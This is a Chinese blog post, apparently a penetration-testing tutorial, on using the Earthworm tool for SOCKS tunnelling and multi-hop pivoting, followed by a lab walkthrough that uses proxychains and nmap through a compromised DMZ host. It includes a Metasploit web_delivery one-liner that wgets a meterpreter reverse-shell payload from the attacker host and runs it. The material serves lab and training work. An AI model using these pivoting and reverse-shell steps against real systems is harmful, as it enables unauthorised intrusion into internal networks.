Earthworm-隧道搭建


一、Earthworm简介

Earthworm(简称EW)是一款轻量便携且功能强大的网络穿透工具,基于标准C开发。它具有SOCKS v5服务架设和端口转发两大核心功能,可以在复杂网络环境下完成网络穿透。Earthworm能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处。该工具支持多平台间的转接通讯,包括Linux、Windows、MacOS、Arm-Linux等操作系统。

Earthworm 工具包中提供了多种可执行文件,以适应不同的操作系统。它支持全平台(Windows/Linux/Mac),且能够穿透复杂的内网环境,同时也不需要跳板机运行web服务。

Earthworm 有六种模式,分别是:ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran,这些模式分别对应不同的网络穿透场景和需求。

下载地址:https://github.com/idlefire/ew

主页地址:https://rootkiter.com/EarthWorm/

二、使用方法

2.1 普通网络环境

2.1.1 目标网络边界存在公网IP且可任意开监听端口

a)./ew -s ssocksd -l 8888 // 在 1.1.1.1 主机上通过这个命令开启 8888 端口的 socks 代理
b) HackTools 可通过访问 1.1.1.1:8888 端口使用 1.1.1.1 主机提供的代理

2.1.2 目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理

a) ./ew -s rcsocks -l 1080 -e 8888
// 在 1.1.1.1 的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
b) ./ew -s rssocks -d 1.1.1.1 -e 8888          
// 将目标网络的可控边界主机反向连接公网主机
c) HackTools 可通过访问 1.1.1.1:1080 端口使用 rssocks 主机提供的 socks5 代理服务

2.2 二重网络环境

2.2.1 情形1

获得目标网络内两台主机 A、B 的权限,情况描述如下:

  • A 主机: 存在公网 IP,且自由监听任意端口,无法访问特定资源
  • B 主机: 目标网络内部主机,可访问特定资源,但无法访问公网
  • A 主机可直连 B 主机
a)  ./ew -s ssocksd -l 9999
// 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
b)  ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999 
// 将 1080 端口收到的 socks 代理请求转交给 2.2.2.3 的主机。
c)  HackTools 可通过访问 2.2.2.2:1080 来使用 2.2.2.3 主机提供的 socks5 代理。

2.2.2 情形2

获得目标网络内两台主机 A、B 的权限,情况描述如下:

  • A 主机: 目标网络的边界主机,无公网 IP,无法访问特定资源。

  • B 主机: 目标网络内部主机,可访问特定资源,却无法回连公网。

  • A 主机可直连 B 主机

a)  ./ew -s lcx_listen -l 1080 -e 8888
// 在 1.1.1.1 公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
b)  ./ew -s ssocksd -l 9999
// 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
c)  ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
// 在 2.2.2.2 上,通过工具的 lcx_slave 方式,打通1.1.1.1:8888 和 2.2.2.3:9999 之间的通讯隧道
d)  HackTools 可通过访问 1.1.1.1:1080 来使用 2.2.2.3 主机提供的 socks5 代理

2.3 参数说明

目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:

  • ssocksd
  • rcsocks
  • rssocks
  • lcx_slave
  • lcx_tran
  • lcx_listen

其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。

其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。

lcx 类别管道:

  • lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
  • lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
  • lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。

通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。

下面是一个三级跳的本地测试例子:

./ew -s rcsocks -l 1080 -e 8888
./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
./ew -s lcx_listen -l 9999 -e 7777
./ew -s rssocks -d 127.0.0.1 -e 7777

数据流向为 IE -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

2.4 rcsocks 和 rssocks的区别

  • rcsocks 是反向 socks 代理客户端模式。在这种模式下,客户端设置监听端口,将收到的代理请求转交给反连的被控服务器。例如,可以在代理客户端设置监听端口,将6666收到的代理请求转交给反连8888端口的被控服务器。
  • rssocks 是反向 socks 代理服务端模式。在这种模式下,创建反向 socks 代理服务端,适用于目标机器没有公网 IP,但可访问内网资源的场景。它将本机的代理流量反向代理到指定的主机和端口,例如在被控主机2启动SOCKS v5代理服务端,并反弹到被控主机1的9999端口。

三、实战

在对某个三层网络环境的靶场进行渗透的过程中,当拿下DMZ区和二层网络各一台主机后,通过搭建隧道,建立攻击机对二层网络主机的访问通道。

网络环境大致如下:

【攻击机192.168.43.26】——>【DMZ 192.168.43.253|192.168.52.10)】——>【二层 192.168.52.20】

这里是在本机搭建的环境,在实际攻击场景中攻击机一般是互联网上一台拥有公网ip的VPS,DMZ对外的IP也是互联网IP。

需求:建立攻击机和二层主机的隧道,实现直接在攻击机中使用nmap对二层网络中的主机进行扫描。

  • 攻击机:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234

命令详解:

  • -s rcsocks:指定使用 rcsocks 模式。rcsocks 模式是 Earthworm 的 SOCKS 代理模式,它创建一个 SOCKS 服务器,该服务器接收来自客户端的连接,并将这些连接转发到远程的 SOCKS 服务器。
  • -l 1080:指定本地监听端口为 1080。这意味着 Earthworm 将在本地计算机的 1080 端口上监听进来的 SOCKS 代理请求。
  • -e 1234:指定远程 SOCKS 服务器的端口为 1234。这意味着所有通过本地 SOCKS 服务器(监听在 1080 端口)的流量都将被转发到远程 SOCKS 服务器的 1234 端口。
截屏2025-01-15 14.36.57
  • DMZ受控主机:

上传ew_for_linux64

由于已经获得了ssh root权限,所以这里可以直接用scp复制文件到目标系统中。

并执行如下命令:

./ew_for_linux64 -s rssocks -d 192.168.43.26 -e 1234

命令详解:

  • -s rssocks:指定使用 rssocks 模式。rssocks 模式用于创建一个 SOCKS 服务端,它将接收来自远程 SOCKS 客户端的连接,并将这些连接转发到本地的特定端口。
  • -d 192.168.1.7:指定目标主机的 IP 地址为 192.168.1.7。这意味着 Earthworm 将尝试连接到这个 IP 地址上的 SOCKS 客户端。
  • -e 1234:指定本地转发端口为 1234。这意味着所有通过远程 SOCKS 客户端的流量都将被转发到本地的 1234 端口。
  • 设置proxychains

什么是proxychains

Proxychains 是一个非常有用的工具,它允许你通过一个或多个代理服务器来运行你的应用程序。它通过劫持应用程序的网络请求,并将这些请求通过配置的代理链发送出去,从而实现网络流量的代理。

ProxyChains是Linux和其他Unices下的代理工具。它可以使任何程序通过代理上网,允许TCP和DNS通过代理隧道,支持HTTP、SOCKS4和SOCKS5类型的代理服务器,并且可配置多个代理。

设置ProxyChains的具体操作步骤如下所示:

  • 打开ProxyChains配置文件:
vim /etc/proxychains4.conf
  • 添加代理服务器

在配置文件中,找到 [ProxyList] 部分,并添加你的代理服务器信息。以下是一些示例配置:

SOCKS5 代理

socks5 192.168.1.100 1080

HTTP 代理

http 192.168.1.101 8080

SOCKS4 代理

socks4 192.168.1.102 9050

你可以添加多个代理,Proxychains 会根据配置的规则使用这些代理。

  • 配置代理链模式

在配置文件的顶部,你可以选择不同的代理链模式:

动态链 (dynamic_chain)**:Proxychains 将按顺序尝试每个代理,直到找到一个工作的代理。

**严格链 (strict_chain)**:Proxychains 将按顺序尝试每个代理,如果一个代理失败,它将停止尝试。

例如,要启用动态链模式,你可以在配置文件的顶部添加或确保以下行未被注释(即没有 # 在行首):

dynamic_chain
  • 保存并退出编辑器

保存更改并退出编辑器。如果你使用的是 nano,可以按 Ctrl + X,然后按 Y 确认保存更改,最后按 Enter 保存文件。

  • 使用 Proxychains

现在,你可以通过在命令前加上 proxychains 来使用 Proxychains。例如,使用 proxychains 运行 curl 命令:

proxychains curl http://example.com

这将通过你配置的代理服务器发送请求。

原配置 原配置

修改后的配置:

之后便可以使用proxychains将我们攻击机上的程序代理进第二层网络(192.168.52.1/24)了。

比如用curl访问内网主机的web服务:

成功从kali访问到了内网主机的web服务。

正常情况下ping内网主机是无法ping通的,但是proxychains不支持icmp协议,所以也没法使用诸如proxychains4 ping 192.168.52.20的命令测试连通性。

  • msf配置路由

使用 msf exploit/multi/script/web_delivery模块创建反弹shell的payload,投递到DMZ受控主机中。

use exploit/multi/script/web_delivery
set LPORT 5555
set LHOST 192.168.43.26
set payload linux/x64/meterpreter/reverse_tcp
set SRVPORT 9090
exploit
wget -qO xDfaOgFL --no-check-certificate http://192.168.43.26:9090/plurgt4DqlP; chmod +x xDfaOgFL; ./xDfaOgFL& disown

截屏2025-01-15 15.54.38

执行之后上线meterpreter:

设置路由:

通过添加路由可以将msfconsole路由到内网中。

我们尝试使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描第二层网络中的主机存活:

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run
截屏2025-01-15 16.03.09

​ 成功探测到一台计算机:192.168.52.30.

使用proxychains代理攻击机的流量,实现对二层网络的探测:

proxychains4 nmap -Pn -sV -sT -F -O 192.168.52.30 

大战Bug-「proxychains4 nmap 报错」

截屏2025-01-15 16.08.46

解决:

编辑 /etc/proxychains4.conf

注释掉dns解析代理

截屏2025-01-15 16.11.13

重新执行扫描

扫描结果:

至此,成功实现借助隧道使用kali的攻击工具探测二层网络内系统信息。

流量路径大致如下:

kali(nmap)192.168.43.26——>127.0.0.1:8080——>192.168.43.253:1234——>192.168.52.10——>192.168.52.30


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录